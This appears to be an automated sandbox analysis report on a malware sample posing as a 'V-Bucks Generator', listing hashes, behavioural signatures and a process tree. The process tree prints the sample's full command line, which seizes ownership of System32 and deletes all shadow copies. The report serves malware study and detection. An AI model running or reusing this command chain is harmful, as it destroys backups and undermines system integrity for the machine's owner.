Analysis

  • max time kernel
    21s
  • max time network
    19s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-08-2024 12:09

General

  • Target

    V-Bucks Generator.exe

  • Size

    458KB

  • MD5

    d5e63bc0a087c9cda1215688405b6fb2

  • SHA1

    e32d08d66878bf50458cd8674dfc581a6fc611d4

  • SHA256

    9bf2689546105532a778dc6a0a6e964ece8ff33c4fcea28e82c29940e06d2666

  • SHA512

    cdc9610af7562bca20bb29a14b7acb0facef90f15b21ad4d0006e5dc2afc9533cd406c7735dcc9c1e353cc04ff4b480d7d0229be59e2b0e51ed91bbef4298f12

  • SSDEEP

    12288:QGchrYmYRz1T/I/x/c/Qkrn5gA6IG+rQFR:SrqJT/Cw5gA6Iy

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Possible privilege escalation attempt 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\V-Bucks Generator.exe
    "C:\Users\Admin\AppData\Local\Temp\V-Bucks Generator.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4536
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c color 47 && title Critical process && takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && vssadmin delete shadows /all /quiet && Exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2300
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4952
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32 /grant Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4932
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\drivers
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4080
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\drivers /grant Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2784
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:5056
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:956

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/4536-0-0x0000026AE5680000-0x0000026AE56F8000-memory.dmp

    Filesize

    480KB

  • memory/4536-1-0x00007FFD38023000-0x00007FFD38025000-memory.dmp

    Filesize

    8KB

  • memory/4536-2-0x0000026AFFB80000-0x0000026AFFBFA000-memory.dmp

    Filesize

    488KB

  • memory/4536-3-0x00007FFD38020000-0x00007FFD38AE1000-memory.dmp

    Filesize

    10.8MB

  • memory/4536-5-0x00007FFD38020000-0x00007FFD38AE1000-memory.dmp

    Filesize

    10.8MB